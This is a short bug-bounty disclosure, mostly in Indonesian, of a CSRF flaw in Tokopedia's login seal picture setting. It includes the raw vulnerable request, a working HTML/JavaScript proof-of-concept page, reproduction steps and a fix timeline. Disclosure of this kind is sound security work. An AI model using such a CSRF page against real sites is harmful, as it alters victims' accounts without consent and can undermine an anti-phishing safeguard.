Tokopedia - CSRF On Change Picture Login Seal On Tokopedia
CSRF Issue On Tokopedia,
List of bug on Tokopedia :-
-
-
-
-
Saya menemukan sebuah bug CSRF di tokopedia
Pendahuluan
bug ini bisa mengubah user picture di login seal
Vuln Request:
POST /seal/save HTTP/1.1
Host: accounts.tokopedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: Somecookie
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
text=https%3A%2f%2fecs7.tokopedia.net%2fimg%2fcache%2f100-square%2fattachment%2f2017%2f4%2f7%2floginseal%2floginseal_6817c7d0-1f7c-4412-a1d8-03848aad6f6b.jpg
Poc Code:
<script>
function getMe(){
// retrieve page content
var xhr = new XMLHttpRequest();
// now execute the CSRF attack
xhr.open("POST", "https://accounts.tokopedia.com/seal/save", true);
xhr.withCredentials="true";
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send('text=https%3A%2f%2fecs7.tokopedia.net%2fimg%2fcache%2f100-square%2fattachment%2f2017%2f4%2f7%2floginseal%2floginseal_6817c7d0-1f7c-4412-a1d8-03848aad6f6b.jpg');
}
</script>
<button onclick="getMe();">Let's Rock</button>
Note: text adalah letak foto baru user lain
Bug ini bisa terjadi karena tidak ada verifikasi token untuk pengubahan foto, (hanya di uploadnya aja ada)
Step to reproduce:
- simpan poc code ke .html
- eksekusi kode,
- foto akan digantikan dengan foto yang terletak di text
Jika butuh video, saya upload di :
https://youtu.be/tCqozbbj-3E (video sudah saya private)
Timeline:
- 7 April 2017 => Reporting
- 10 May => Fixing & Ask Document
- Waiting Bounty ( Will be edited )
Comments
Post a Comment